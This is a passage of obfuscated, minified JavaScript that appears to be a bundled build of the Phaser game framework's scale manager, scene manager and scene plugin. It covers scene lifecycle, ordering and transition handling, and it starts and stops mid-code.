this['fullscreen']['active']; } }, 'width': { 'get': function () { return this['gameSize']['width']; } }, 'height': { 'get': function () { return this['gameSize']['height']; } }, 'isPortrait': { 'get': function () { return this['orientation'] === _0x37fff3['ORIENTATION']['PORTRAIT']; } }, 'isLandscape': { 'get': function () { return this['orientation'] === _0x37fff3['ORIENTATION']['LANDSCAPE']; } }, 'isGamePortrait': { 'get': function () { return this['height'] > this['width']; } }, 'isGameLandscape': { 'get': function () { return this['width'] > this['height']; } } }); _0x1d5c15['exports'] = _0x151a17; }, 0xfce7: _0x154ee5 => { _0x154ee5['exports'] = { 'NO_CENTER': 0x0, 'CENTER_BOTH': 0x1, 'CENTER_HORIZONTALLY': 0x2, 'CENTER_VERTICALLY': 0x3 }; }, 0x9932: _0x35adc7 => { _0x35adc7['exports'] = { 'LANDSCAPE': 'landscape-primary', 'LANDSCAPE_SECONDARY': 'landscape-secondary', 'PORTRAIT': 'portrait-primary', 'PORTRAIT_SECONDARY': 'portrait-secondary' }; }, 0x13c9a: _0x11a256 => { _0x11a256['exports'] = { 'NONE': 0x0, 'WIDTH_CONTROLS_HEIGHT': 0x1, 'HEIGHT_CONTROLS_WIDTH': 0x2, 'FIT': 0x3, 'ENVELOP': 0x4, 'RESIZE': 0x5, 'EXPAND': 0x6 }; }, 0x13ba5: _0x4dbe35 => { _0x4dbe35['exports'] = { 'NO_ZOOM': 0x1, 'ZOOM_2X': 0x2, 'ZOOM_4X': 0x4, 'MAX_ZOOM': -0x1 }; }, 0x34f8: (_0x1fe14d, _0x468a43, _0x9a63a4) => { var _0x266c07 = { 'CENTER': _0x9a63a4(0xfce7), 'ORIENTATION': _0x9a63a4(0x9932), 'SCALE_MODE': _0x9a63a4(0x13c9a), 'ZOOM': _0x9a63a4(0x13ba5) }; _0x1fe14d['exports'] = _0x266c07; }, 0xdb4b: _0x3a737d => { _0x3a737d['exports'] = 'enterfullscreen'; }, 0x920: _0x431706 => { _0x431706['exports'] = 'fullscreenfailed'; }, 0xb934: _0x139308 => { _0x139308['exports'] = 'fullscreenunsupported'; }, 0xc8fc: _0x57c1ae => { _0x57c1ae['exports'] = 'leavefullscreen'; }, 0x50ba: _0xcab306 => { _0xcab306['exports'] = 'orientationchange'; }, 0xbb49: _0x37c814 => { _0x37c814['exports'] = 'resize'; }, 0x17cc8: (_0x3bb41e, _0x5612a8, _0x2ef410) => { _0x3bb41e['exports'] = { 'ENTER_FULLSCREEN': _0x2ef410(0xdb4b), 'FULLSCREEN_FAILED': _0x2ef410(0x920), 'FULLSCREEN_UNSUPPORTED': _0x2ef410(0xb934), 'LEAVE_FULLSCREEN': _0x2ef410(0xc8fc), 'ORIENTATION_CHANGE': _0x2ef410(0x50ba), 'RESIZE': _0x2ef410(0xbb49) }; }, 0x16cb4: (_0x356665, _0x3cb928, _0x531026) => { var _0x22312f = _0x531026(0x135bb), _0x4c3abb = _0x531026(0x34f8), _0x1dc41f = { 'Center': _0x531026(0xfce7), 'Events': _0x531026(0x17cc8), 'Orientation': _0x531026(0x9932), 'ScaleManager': _0x531026(0x12af3), 'ScaleModes': _0x531026(0x13c9a), 'Zoom': _0x531026(0x13ba5) }; _0x1dc41f = _0x22312f(!0x1, _0x1dc41f, _0x4c3abb['CENTER']), _0x1dc41f = _0x22312f(!0x1, _0x1dc41f, _0x4c3abb['ORIENTATION']), _0x1dc41f = _0x22312f(!0x1, _0x1dc41f, _0x4c3abb['SCALE_MODE']), _0x1dc41f = _0x22312f(!0x1, _0x1dc41f, _0x4c3abb['ZOOM']), _0x356665['exports'] = _0x1dc41f; }, 0x6b05: (_0x3d69a0, _0x4b0e56, _0xf5f019) => { var _0x351421 = _0xf5f019(0x17534), _0x348201 = _0xf5f019(0x8a1b); _0x3d69a0['exports'] = function (_0x4f800e) { var _0x3a1d07 = _0x4f800e['game']['config']['defaultPhysicsSystem'], _0x4b3279 = _0x351421(_0x4f800e['settings'], 'physics', !0x1); if (_0x3a1d07 || _0x4b3279) { var _0x19190c = []; if (_0x3a1d07 && _0x19190c['push'](_0x348201(_0x3a1d07 + 'Physics')), _0x4b3279) { for (var _0x2abd16 in _0x4b3279) _0x2abd16 = _0x348201(_0x2abd16['concat']('Physics')), -0x1 === _0x19190c['indexOf'](_0x2abd16) && _0x19190c['push'](_0x2abd16); } return _0x19190c; } }; }, 0xcb8a: (_0x2f0282, _0x275d7a, _0x5bb4cd) => { var _0x4dd407 = _0x5bb4cd(0x17534); _0x2f0282['exports'] = function (_0x521217) { var _0x6119a2 = _0x521217['plugins']['getDefaultScenePlugins'](), _0x11b674 = _0x4dd407(_0x521217['settings'], 'plugins', !0x1); return Array['isArray'](_0x11b674) ? _0x11b674 : _0x6119a2 || []; }; }, 0x153f9: _0x320867 => { _0x320867['exports'] = { 'game': 'game', 'renderer': 'renderer', 'anims': 'anims', 'cache': 'cache', 'plugins': 'plugins', 'registry': 'registry', 'scale': 'scale', 'sound': 'sound', 'textures': 'textures', 'events': 'events', 'cameras': 'cameras', 'add': 'add', 'make': 'make', 'scenePlugin': 'scene', 'displayList': 'children', 'lights': 'lights', 'data': 'data', 'input': 'input', 'load': 'load', 'time': 'time', 'tweens': 'tweens', 'arcadePhysics': 'physics', 'impactPhysics': 'impact', 'matterPhysics': 'matter' }; }, 0x17cca: (_0x343060, _0x34ac2b, _0x3ff864) => { var _0x2aad12 = _0x3ff864(0x145db), _0x9a7f5d = _0x3ff864(0x940), _0x536bfc = new _0x2aad12({ 'initialize': function (_0x3647dc) { this['sys'] = new _0x9a7f5d(this, _0x3647dc), this['game'], this['anims'], this['cache'], this['registry'], this['sound'], this['textures'], this['events'], this['cameras'], this['add'], this['make'], this['scene'], this['children'], this['lights'], this['data'], this['input'], this['load'], this['time'], this['tweens'], this['physics'], this['matter'], this['scale'], this['plugins'], this['renderer']; }, 'update': function () { } }); _0x343060['exports'] = _0x536bfc; }, 0xede7: (_0x16a445, _0x2672e8, _0xed5f0f) => { var _0x19104c = _0xed5f0f(0x145db), _0xf1fa9c = _0xed5f0f(0x15f89), _0x1326ec = _0xed5f0f(0xae32), _0x579607 = _0xed5f0f(0x20fb), _0x5ca8c6 = _0xed5f0f(0x8952), _0x343d13 = _0xed5f0f(0xd673), _0x4d0135 = _0xed5f0f(0x7433), _0x2cec40 = _0xed5f0f(0x17cca), _0xa17b86 = _0xed5f0f(0x940), _0x8bf5d3 = new _0x19104c({ 'initialize': function (_0xa9775d, _0x224930) { if (this['game'] = _0xa9775d, this['keys'] = {}, this['scenes'] = [], this['_pending'] = [], this['_start'] = [], this['_queue'] = [], this['_data'] = {}, this['isProcessing'] = !0x1, this['isBooted'] = !0x1, this['customViewports'] = 0x0, this['systemScene'], _0x224930) { Array['isArray'](_0x224930) || (_0x224930 = [_0x224930]); for (var _0x1ff497 = 0x0; _0x1ff497 < _0x224930['length']; _0x1ff497++)this['_pending']['push']({ 'key': 'default', 'scene': _0x224930[_0x1ff497], 'autoStart': 0x0 === _0x1ff497, 'data': {} }); } _0xa9775d['events']['once'](_0x579607['READY'], this['bootQueue'], this); }, 'bootQueue': function () { if (!this['isBooted']) { var _0x5d0c9c, _0x54096e, _0x55f9d9, _0x46c1c6; for (this['systemScene'] = this['createSceneFromInstance']('__SYSTEM', new _0x2cec40()), this['game']['events']['emit'](_0x579607['SYSTEM_READY'], this['systemScene'], this), _0x5d0c9c = 0x0; _0x5d0c9c < this['_pending']['length']; _0x5d0c9c++) { var _0xbf9b9b; _0x55f9d9 = (_0x54096e = this['_pending'][_0x5d0c9c])['key'], (_0x46c1c6 = _0x54096e['scene']) instanceof _0x2cec40 ? _0xbf9b9b = this['createSceneFromInstance'](_0x55f9d9, _0x46c1c6) : 'object' == typeof _0x46c1c6 ? _0xbf9b9b = this['createSceneFromObject'](_0x55f9d9, _0x46c1c6) : 'function' == typeof _0x46c1c6 && (_0xbf9b9b = this['createSceneFromFunction'](_0x55f9d9, _0x46c1c6)), _0x55f9d9 = _0xbf9b9b['sys']['settings']['key'], this['keys'][_0x55f9d9] = _0xbf9b9b, this['scenes']['push'](_0xbf9b9b), this['_data'][_0x55f9d9] && (_0xbf9b9b['sys']['settings']['data'] = this['_data'][_0x55f9d9]['data'], this['_data'][_0x55f9d9]['autoStart'] && (_0x54096e['autoStart'] = !0x0)), (_0x54096e['autoStart'] || _0xbf9b9b['sys']['settings']['active']) && this['_start']['push'](_0x55f9d9); } for (this['_pending']['length'] = 0x0, this['_data'] = {}, this['isBooted'] = !0x0, _0x5d0c9c = 0x0; _0x5d0c9c < this['_start']['length']; _0x5d0c9c++)_0x54096e = this['_start'][_0x5d0c9c], this['start'](_0x54096e); this['_start']['length'] = 0x0; } }, 'processQueue': function () { var _0x27ae29 = this['_pending']['length'], _0x422b99 = this['_queue']['length']; if (0x0 !== _0x27ae29 || 0x0 !== _0x422b99) { var _0x57cf62, _0x4cc143; if (_0x27ae29) { for (_0x57cf62 = 0x0; _0x57cf62 < _0x27ae29; _0x57cf62++)_0x4cc143 = this['_pending'][_0x57cf62], this['add'](_0x4cc143['key'], _0x4cc143['scene'], _0x4cc143['autoStart'], _0x4cc143['data']); for (_0x57cf62 = 0x0; _0x57cf62 < this['_start']['length']; _0x57cf62++)_0x4cc143 = this['_start'][_0x57cf62], this['start'](_0x4cc143); this['_start']['length'] = 0x0, this['_pending']['length'] = 0x0; } for (_0x57cf62 = 0x0; _0x57cf62 < this['_queue']['length']; _0x57cf62++)this[(_0x4cc143 = this['_queue'][_0x57cf62])['op']](_0x4cc143['keyA'], _0x4cc143['keyB'], _0x4cc143['data']); this['_queue']['length'] = 0x0; } }, 'add': function (_0x1a0ec0, _0x513186, _0xc8f50c, _0x130eba) { return void 0x0 === _0xc8f50c && (_0xc8f50c = !0x1), void 0x0 === _0x130eba && (_0x130eba = {}), this['isProcessing'] || !this['isBooted'] ? (this['_pending']['push']({ 'key': _0x1a0ec0, 'scene': _0x513186, 'autoStart': _0xc8f50c, 'data': _0x130eba }), this['isBooted'] || (this['_data'][_0x1a0ec0] = { 'data': _0x130eba }), null) : (_0x1a0ec0 = this['getKey'](_0x1a0ec0, _0x513186), _0x513186 instanceof _0x2cec40 ? _0x25a8d9 = this['createSceneFromInstance'](_0x1a0ec0, _0x513186) : 'object' == typeof _0x513186 ? (_0x513186['key'] = _0x1a0ec0, _0x25a8d9 = this['createSceneFromObject'](_0x1a0ec0, _0x513186)) : 'function' == typeof _0x513186 && (_0x25a8d9 = this['createSceneFromFunction'](_0x1a0ec0, _0x513186)), _0x25a8d9['sys']['settings']['data'] = _0x130eba, _0x1a0ec0 = _0x25a8d9['sys']['settings']['key'], this['keys'][_0x1a0ec0] = _0x25a8d9, this['scenes']['push'](_0x25a8d9), (_0xc8f50c || _0x25a8d9['sys']['settings']['active']) && (this['_pending']['length'] ? this['_start']['push'](_0x1a0ec0) : this['start'](_0x1a0ec0)), _0x25a8d9); var _0x25a8d9; }, 'remove': function (_0x5a8e5d) { if (this['isProcessing']) return this['queueOp']('remove', _0x5a8e5d); var _0x456a82 = this['getScene'](_0x5a8e5d); if (!_0x456a82 || _0x456a82['sys']['isTransitioning']()) return this; var _0x14c526 = this['scenes']['indexOf'](_0x456a82), _0x3762ea = _0x456a82['sys']['settings']['key']; return _0x14c526 > -0x1 && (delete this['keys'][_0x3762ea], this['scenes']['splice'](_0x14c526, 0x1), this['_start']['indexOf'](_0x3762ea) > -0x1 && (_0x14c526 = this['_start']['indexOf'](_0x3762ea), this['_start']['splice'](_0x14c526, 0x1)), _0x456a82['sys']['destroy']()), this; }, 'bootScene': function (_0x2719ee) { var _0xdae230, _0x1d5361 = _0x2719ee['sys'], _0x411d5a = _0x1d5361['settings']; _0x1d5361['sceneUpdate'] = _0x4d0135, _0x2719ee['init'] && (_0x2719ee['init']['call'](_0x2719ee, _0x411d5a['data']), _0x411d5a['status'] = _0xf1fa9c['INIT'], _0x411d5a['isTransition'] && _0x1d5361['events']['emit'](_0x1326ec['TRANSITION_INIT'], _0x411d5a['transitionFrom'], _0x411d5a['transitionDuration'])), _0x1d5361['load'] && (_0xdae230 = _0x1d5361['load'])['reset'](), _0xdae230 && _0x2719ee['preload'] ? (_0x2719ee['preload']['call'](_0x2719ee), _0x411d5a['status'] = _0xf1fa9c['LOADING'], _0xdae230['once'](_0x343d13['COMPLETE'], this['loadComplete'], this), _0xdae230['start']()) : this['create'](_0x2719ee); }, 'loadComplete': function (_0x169c64) { this['create'](_0x169c64['scene']); }, 'payloadComplete': function (_0x13fc19) { this['bootScene'](_0x13fc19['scene']); }, 'update': function (_0x3d31e6, _0x42147b) { this['processQueue'](), this['isProcessing'] = !0x0; for (var _0x415c04 = this['scenes']['length'] - 0x1; _0x415c04 >= 0x0; _0x415c04--) { var _0x10ec80 = this['scenes'][_0x415c04]['sys']; _0x10ec80['settings']['status'] > _0xf1fa9c['START'] && _0x10ec80['settings']['status'] <= _0xf1fa9c['RUNNING'] && _0x10ec80['step'](_0x3d31e6, _0x42147b), _0x10ec80['scenePlugin'] && _0x10ec80['scenePlugin']['_target'] && _0x10ec80['scenePlugin']['step'](_0x3d31e6, _0x42147b); } }, 'render': function (_0x54df92) { for (var _0xc96c6 = 0x0; _0xc96c6 < this['scenes']['length']; _0xc96c6++) { var _0x377465 = this['scenes'][_0xc96c6]['sys']; _0x377465['settings']['visible'] && _0x377465['settings']['status'] >= _0xf1fa9c['LOADING'] && _0x377465['settings']['status'] < _0xf1fa9c['SLEEPING'] && _0x377465['render'](_0x54df92); } this['isProcessing'] = !0x1; }, 'create': function (_0x1f050e) { var _0x7d1e3 = _0x1f050e['sys'], _0x1bfafc = _0x7d1e3['settings']; _0x1f050e['create'] && (_0x1bfafc['status'] = _0xf1fa9c['CREATING'], _0x1f050e['create']['call'](_0x1f050e, _0x1bfafc['data']), _0x1bfafc['status'] === _0xf1fa9c['DESTROYED']) || (_0x1bfafc['isTransition'] && _0x7d1e3['events']['emit'](_0x1326ec['TRANSITION_START'], _0x1bfafc['transitionFrom'], _0x1bfafc['transitionDuration']), _0x1f050e['update'] && (_0x7d1e3['sceneUpdate'] = _0x1f050e['update']), _0x1bfafc['status'] = _0xf1fa9c['RUNNING'], _0x7d1e3['events']['emit'](_0x1326ec['CREATE'], _0x1f050e)); }, 'createSceneFromFunction': function (_0x7bac91, _0x3ec000) { var _0x37d18d = new _0x3ec000(); if (_0x37d18d instanceof _0x2cec40) { var _0xdb34f = _0x37d18d['sys']['settings']['key']; if ('' !== _0xdb34f && (_0x7bac91 = _0xdb34f), this['keys']['hasOwnProperty'](_0x7bac91)) throw new Error('Cannot\x20add\x20Scene\x20with\x20duplicate\x20key:\x20' + _0x7bac91); return this['createSceneFromInstance'](_0x7bac91, _0x37d18d); } return _0x37d18d['sys'] = new _0xa17b86(_0x37d18d), _0x37d18d['sys']['settings']['key'] = _0x7bac91, _0x37d18d['sys']['init'](this['game']), _0x37d18d; }, 'createSceneFromInstance': function (_0x5e4684, _0x458195) { return '' === _0x458195['sys']['settings']['key'] && (_0x458195['sys']['settings']['key'] = _0x5e4684), _0x458195['sys']['init'](this['game']), _0x458195; }, 'createSceneFromObject': function (_0x116d7e, _0x2abddf) { var _0x342b85 = new _0x2cec40(_0x2abddf), _0x23d31d = _0x342b85['sys']['settings']['key']; '' !== _0x23d31d ? _0x116d7e = _0x23d31d : _0x342b85['sys']['settings']['key'] = _0x116d7e, _0x342b85['sys']['init'](this['game']); for (var _0x1a8881 = ['init', 'preload', 'create', 'update', 'render'], _0x310363 = 0x0; _0x310363 < _0x1a8881['length']; _0x310363++) { var _0x15423c = _0x5ca8c6(_0x2abddf, _0x1a8881[_0x310363], null); _0x15423c && (_0x342b85[_0x1a8881[_0x310363]] = _0x15423c); } if (_0x2abddf['hasOwnProperty']('extend')) { for (var _0x3879aa in _0x2abddf['extend']) if (_0x2abddf['extend']['hasOwnProperty'](_0x3879aa)) { var _0x314349 = _0x2abddf['extend'][_0x3879aa]; 'data' === _0x3879aa && _0x342b85['hasOwnProperty']('data') && 'object' == typeof _0x314349 ? _0x342b85['data']['merge'](_0x314349) : 'sys' !== _0x3879aa && (_0x342b85[_0x3879aa] = _0x314349); } } return _0x342b85; }, 'getKey': function (_0x9b9373, _0x14d606) { if (_0x9b9373 || (_0x9b9373 = 'default'), 'function' == typeof _0x14d606) return _0x9b9373; if (_0x14d606 instanceof _0x2cec40 ? _0x9b9373 = _0x14d606['sys']['settings']['key'] : 'object' == typeof _0x14d606 && _0x14d606['hasOwnProperty']('key') && (_0x9b9373 = _0x14d606['key']), this['keys']['hasOwnProperty'](_0x9b9373)) throw new Error('Cannot\x20add\x20Scene\x20with\x20duplicate\x20key:\x20' + _0x9b9373); return _0x9b9373; }, 'getScenes': function (_0x5a57ef, _0x289dbd) { void 0x0 === _0x5a57ef && (_0x5a57ef = !0x0), void 0x0 === _0x289dbd && (_0x289dbd = !0x1); for (var _0x5a4fdd = [], _0x490852 = this['scenes'], _0x3a0606 = 0x0; _0x3a0606 < _0x490852['length']; _0x3a0606++) { var _0x3dd08b = _0x490852[_0x3a0606]; _0x3dd08b && (!_0x5a57ef || _0x5a57ef && _0x3dd08b['sys']['isActive']()) && _0x5a4fdd['push'](_0x3dd08b); } return _0x289dbd ? _0x5a4fdd['reverse']() : _0x5a4fdd; }, 'getScene': function (_0x2747fd) { if ('string' == typeof _0x2747fd) { if (this['keys'][_0x2747fd]) return this['keys'][_0x2747fd]; } else { for (var _0x5438e3 = 0x0; _0x5438e3 < this['scenes']['length']; _0x5438e3++)if (_0x2747fd === this['scenes'][_0x5438e3]) return _0x2747fd; } return null; }, 'isActive': function (_0x26de47) { var _0x41afc1 = this['getScene'](_0x26de47); return _0x41afc1 ? _0x41afc1['sys']['isActive']() : null; }, 'isPaused': function (_0x247ca4) { var _0x55ca5b = this['getScene'](_0x247ca4); return _0x55ca5b ? _0x55ca5b['sys']['isPaused']() : null; }, 'isVisible': function (_0x74340b) { var _0x5e99a0 = this['getScene'](_0x74340b); return _0x5e99a0 ? _0x5e99a0['sys']['isVisible']() : null; }, 'isSleeping': function (_0x5a6f7b) { var _0x4b23bf = this['getScene'](_0x5a6f7b); return _0x4b23bf ? _0x4b23bf['sys']['isSleeping']() : null; }, 'pause': function (_0x48e57b, _0x162c47) { var _0x498dba = this['getScene'](_0x48e57b); return _0x498dba && _0x498dba['sys']['pause'](_0x162c47), this; }, 'resume': function (_0x3bbdf8, _0x3e1eff) { var _0x369c70 = this['getScene'](_0x3bbdf8); return _0x369c70 && _0x369c70['sys']['resume'](_0x3e1eff), this; }, 'sleep': function (_0x233bb6, _0x210336) { var _0x373c55 = this['getScene'](_0x233bb6); return _0x373c55 && !_0x373c55['sys']['isTransitioning']() && _0x373c55['sys']['sleep'](_0x210336), this; }, 'wake': function (_0x386b76, _0x388943) { var _0x2578cb = this['getScene'](_0x386b76); return _0x2578cb && _0x2578cb['sys']['wake'](_0x388943), this; }, 'run': function (_0x1f8dbf, _0x5c75d2) { var _0x492ca5 = this['getScene'](_0x1f8dbf); if (!_0x492ca5) { for (var _0x50df3b = 0x0; _0x50df3b < this['_pending']['length']; _0x50df3b++)if (this['_pending'][_0x50df3b]['key'] === _0x1f8dbf) { this['queueOp']('start', _0x1f8dbf, _0x5c75d2); break; } return this; } _0x492ca5['sys']['isSleeping']() ? _0x492ca5['sys']['wake'](_0x5c75d2) : _0x492ca5['sys']['isPaused']() ? _0x492ca5['sys']['resume'](_0x5c75d2) : this['start'](_0x1f8dbf, _0x5c75d2); }, 'start': function (_0x5e8b82, _0x1c174b) { if (!this['isBooted']) return this['_data'][_0x5e8b82] = { 'autoStart': !0x0, 'data': _0x1c174b }, this; var _0x5624b5 = this['getScene'](_0x5e8b82); if (!_0x5624b5) return this; var _0x26b1a3, _0x206614 = _0x5624b5['sys'], _0x36815d = _0x206614['settings']['status']; if (_0x36815d >= _0xf1fa9c['START'] && _0x36815d <= _0xf1fa9c['CREATING']) return this; if (_0x36815d >= _0xf1fa9c['RUNNING'] && _0x36815d <= _0xf1fa9c['SLEEPING']) _0x206614['shutdown'](), _0x206614['sceneUpdate'] = _0x4d0135, _0x206614['start'](_0x1c174b); else { if (_0x206614['sceneUpdate'] = _0x4d0135, _0x206614['start'](_0x1c174b), _0x206614['load'] && (_0x26b1a3 = _0x206614['load']), _0x26b1a3 && _0x206614['settings']['hasOwnProperty']('pack') && (_0x26b1a3['reset'](), _0x26b1a3['addPack']({ 'payload': _0x206614['settings']['pack'] }))) return _0x206614['settings']['status'] = _0xf1fa9c['LOADING'], _0x26b1a3['once'](_0x343d13['COMPLETE'], this['payloadComplete'], this), _0x26b1a3['start'](), this; } return this['bootScene'](_0x5624b5), this; }, 'stop': function (_0x588c88, _0x2e9bc4) { var _0x18466a = this['getScene'](_0x588c88); if (_0x18466a && !_0x18466a['sys']['isTransitioning']() && _0x18466a['sys']['settings']['status'] !== _0xf1fa9c['SHUTDOWN']) { var _0x312603 = _0x18466a['sys']['load']; _0x312603 && (_0x312603['off'](_0x343d13['COMPLETE'], this['loadComplete'], this), _0x312603['off'](_0x343d13['COMPLETE'], this['payloadComplete'], this)), _0x18466a['sys']['shutdown'](_0x2e9bc4); } return this; }, 'switch': function (_0xa814dd, _0x571fa2, _0x1511c7) { var _0xd06fc3 = this['getScene'](_0xa814dd), _0x1ab877 = this['getScene'](_0x571fa2); return _0xd06fc3 && _0x1ab877 && _0xd06fc3 !== _0x1ab877 && (this['sleep'](_0xa814dd), this['isSleeping'](_0x571fa2) ? this['wake'](_0x571fa2, _0x1511c7) : this['start'](_0x571fa2, _0x1511c7)), this; }, 'getAt': function (_0xf75ec1) { return this['scenes'][_0xf75ec1]; }, 'getIndex': function (_0x99a6be) { var _0x123f43 = this['getScene'](_0x99a6be); return this['scenes']['indexOf'](_0x123f43); }, 'bringToTop': function (_0x57f988) { if (this['isProcessing']) return this['queueOp']('bringToTop', _0x57f988); var _0x4181aa = this['getIndex'](_0x57f988), _0x579a17 = this['scenes']; if (-0x1 !== _0x4181aa && _0x4181aa < _0x579a17['length']) { var _0x3d83f0 = this['getScene'](_0x57f988); _0x579a17['splice'](_0x4181aa, 0x1), _0x579a17['push'](_0x3d83f0); } return this; }, 'sendToBack': function (_0x1c08c0) { if (this['isProcessing']) return this['queueOp']('sendToBack', _0x1c08c0); var _0x363a19 = this['getIndex'](_0x1c08c0); if (-0x1 !== _0x363a19 && _0x363a19 > 0x0) { var _0x52e9ef = this['getScene'](_0x1c08c0); this['scenes']['splice'](_0x363a19, 0x1), this['scenes']['unshift'](_0x52e9ef); } return this; }, 'moveDown': function (_0x523c08) { if (this['isProcessing']) return this['queueOp']('moveDown', _0x523c08); var _0x18399f = this['getIndex'](_0x523c08); if (_0x18399f > 0x0) { var _0x3c20b8 = _0x18399f - 0x1, _0x3e7fb1 = this['getScene'](_0x523c08), _0x509de9 = this['getAt'](_0x3c20b8); this['scenes'][_0x18399f] = _0x509de9, this['scenes'][_0x3c20b8] = _0x3e7fb1; } return this; }, 'moveUp': function (_0x28709e) { if (this['isProcessing']) return this['queueOp']('moveUp', _0x28709e); var _0x33a9f7 = this['getIndex'](_0x28709e); if (_0x33a9f7 < this['scenes']['length'] - 0x1) { var _0x823b97 = _0x33a9f7 + 0x1, _0x3b4424 = this['getScene'](_0x28709e), _0x5e3c83 = this['getAt'](_0x823b97); this['scenes'][_0x33a9f7] = _0x5e3c83, this['scenes'][_0x823b97] = _0x3b4424; } return this; }, 'moveAbove': function (_0x243307, _0x4622b2) { if (_0x243307 === _0x4622b2) return this; if (this['isProcessing']) return this['queueOp']('moveAbove', _0x243307, _0x4622b2); var _0x472db3 = this['getIndex'](_0x243307), _0x2b17a2 = this['getIndex'](_0x4622b2); if (-0x1 !== _0x472db3 && -0x1 !== _0x2b17a2 && _0x2b17a2 < _0x472db3) { var _0x15cae2 = this['getAt'](_0x2b17a2); this['scenes']['splice'](_0x2b17a2, 0x1), this['scenes']['splice'](_0x472db3 + (_0x2b17a2 > _0x472db3), 0x0, _0x15cae2); } return this; }, 'moveBelow': function (_0x20ee4f, _0x4f850f) { if (_0x20ee4f === _0x4f850f) return this; if (this['isProcessing']) return this['queueOp']('moveBelow', _0x20ee4f, _0x4f850f); var _0xd9423f = this['getIndex'](_0x20ee4f), _0x3ba9c0 = this['getIndex'](_0x4f850f); if (-0x1 !== _0xd9423f && -0x1 !== _0x3ba9c0 && _0x3ba9c0 > _0xd9423f) { var _0x202880 = this['getAt'](_0x3ba9c0); this['scenes']['splice'](_0x3ba9c0, 0x1), 0x0 === _0xd9423f ? this['scenes']['unshift'](_0x202880) : this['scenes']['splice'](_0xd9423f - (_0x3ba9c0 < _0xd9423f), 0x0, _0x202880); } return this; }, 'queueOp': function (_0x4b7df7, _0x53f51, _0xa0ee50, _0x3fa535) { return this['_queue']['push']({ 'op': _0x4b7df7, 'keyA': _0x53f51, 'keyB': _0xa0ee50, 'data': _0x3fa535 }), this; }, 'swapPosition': function (_0x48e0e3, _0x5a9ebb) { if (_0x48e0e3 === _0x5a9ebb) return this; if (this['isProcessing']) return this['queueOp']('swapPosition', _0x48e0e3, _0x5a9ebb); var _0x5a6892 = this['getIndex'](_0x48e0e3), _0x445dc6 = this['getIndex'](_0x5a9ebb); if (_0x5a6892 !== _0x445dc6 && -0x1 !== _0x5a6892 && -0x1 !== _0x445dc6) { var _0x421b85 = this['getAt'](_0x5a6892); this['scenes'][_0x5a6892] = this['scenes'][_0x445dc6], this['scenes'][_0x445dc6] = _0x421b85; } return this; }, 'dump': function () { for (var _0x1709b4 = [], _0x47b910 = ['pending', 'init', 'start', 'loading', 'creating', 'running', 'paused', 'sleeping', 'shutdown', 'destroyed'], _0xc69e7a = 0x0; _0xc69e7a < this['scenes']['length']; _0xc69e7a++) { var _0x333b61 = this['scenes'][_0xc69e7a]['sys'], _0x2e6b61 = !_0x333b61['settings']['visible'] || _0x333b61['settings']['status'] !== _0xf1fa9c['RUNNING'] && _0x333b61['settings']['status'] !== _0xf1fa9c['PAUSED'] ? '[-]\x20' : '[*]\x20'; _0x2e6b61 += _0x333b61['settings']['key'] + '\x20(' + _0x47b910[_0x333b61['settings']['status']] + ')', _0x1709b4['push'](_0x2e6b61); } }, 'destroy': function () { for (var _0x235465 = 0x0; _0x235465 < this['scenes']['length']; _0x235465++)this['scenes'][_0x235465]['sys']['destroy'](); this['systemScene']['sys']['destroy'](), this['update'] = _0x4d0135, this['scenes'] = [], this['_pending'] = [], this['_start'] = [], this['_queue'] = [], this['game'] = null, this['systemScene'] = null; } }); _0x16a445['exports'] = _0x8bf5d3; }, 0xcbf1: (_0x388de9, _0x5b0e60, _0x258e46) => { var _0x2054aa = _0x258e46(0xb107), _0x98a410 = _0x258e46(0x145db), _0x1a21ba = _0x258e46(0xae32), _0x2e4f9d = _0x258e46(0x17534), _0x1cc7a3 = _0x258e46(0x919d), _0x3315dc = new _0x98a410({ 'initialize': function (_0x25c055) { this['scene'] = _0x25c055, this['systems'] = _0x25c055['sys'], this['settings'] = _0x25c055['sys']['settings'], this['key'] = _0x25c055['sys']['settings']['key'], this['manager'] = _0x25c055['sys']['game']['scene'], this['transitionProgress'] = 0x0, this['_elapsed'] = 0x0, this['_target'] = null, this['_duration'] = 0x0, this['_onUpdate'], this['_onUpdateScope'], this['_willSleep'] = !0x1, this['_willRemove'] = !0x1, _0x25c055['sys']['events']['once'](_0x1a21ba['BOOT'], this['boot'], this), _0x25c055['sys']['events']['on'](_0x1a21ba['START'], this['pluginStart'], this); }, 'boot': function () { this['systems']['events']['once'](_0x1a21ba['DESTROY'], this['destroy'], this); }, 'pluginStart': function () { this['_target'] = null, this['systems']['events']['once'](_0x1a21ba['SHUTDOWN'], this['shutdown'], this); }, 'start': function (_0x29364c, _0x239f46) { return void 0x0 === _0x29364c && (_0x29364c = this['key']), this['manager']['queueOp']('stop', this['key']), this['manager']['queueOp']('start', _0x29364c, _0x239f46), this; }, 'restart': function (_0xdae998) { var _0x20c79a = this['key']; return this['manager']['queueOp']('stop', _0x20c79a), this['manager']['queueOp']('start', _0x20c79a, _0xdae998), this; }, 'transition': function (_0x35c20d) { void 0x0 === _0x35c20d && (_0x35c20d = {}); var _0x5ef97d = _0x2e4f9d(_0x35c20d, 'target', !0x1), _0x388fae = this['manager']['getScene'](_0x5ef97d); if (!_0x5ef97d || !this['checkValidTransition'](_0x388fae)) return !0x1; var _0x56b725 = _0x2e4f9d(_0x35c20d, 'duration', 0x3e8); this['_elapsed'] = 0x0, this['_target'] = _0x388fae, this['_duration'] = _0x56b725, this['_willSleep'] = _0x2e4f9d(_0x35c20d, 'sleep', !0x1), this['_willRemove'] = _0x2e4f9d(_0x35c20d, 'remove', !0x1); var _0x225627 = _0x2e4f9d(_0x35c20d, 'onUpdate', null); _0x225627 && (this['_onUpdate'] = _0x225627, this['_onUpdateScope'] = _0x2e4f9d(_0x35c20d, 'onUpdateScope', this['scene'])); var _0x9bd9e7 = _0x2e4f9d(_0x35c20d, 'allowInput', !0x1); this['settings']['transitionAllowInput'] = _0x9bd9e7; var _0x28810d = _0x388fae['sys']['settings']; _0x28810d['isTransition'] = !0x0, _0x28810d['transitionFrom'] = this['scene'], _0x28810d['transitionDuration'] = _0x56b725, _0x28810d['transitionAllowInput'] = _0x9bd9e7, _0x2e4f9d(_0x35c20d, 'moveAbove', !0x1) ? this['manager']['moveAbove'](this['key'], _0x5ef97d) : _0x2e4f9d(_0x35c20d, 'moveBelow', !0x1) && this['manager']['moveBelow'](this['key'], _0x5ef97d), _0x388fae['sys']['isSleeping']() ? _0x388fae['sys']['wake'](_0x2e4f9d(_0x35c20d, 'data')) : this['manager']['start'](_0x5ef97d, _0x2e4f9d(_0x35c20d, 'data')); var _0x5a13f9 = 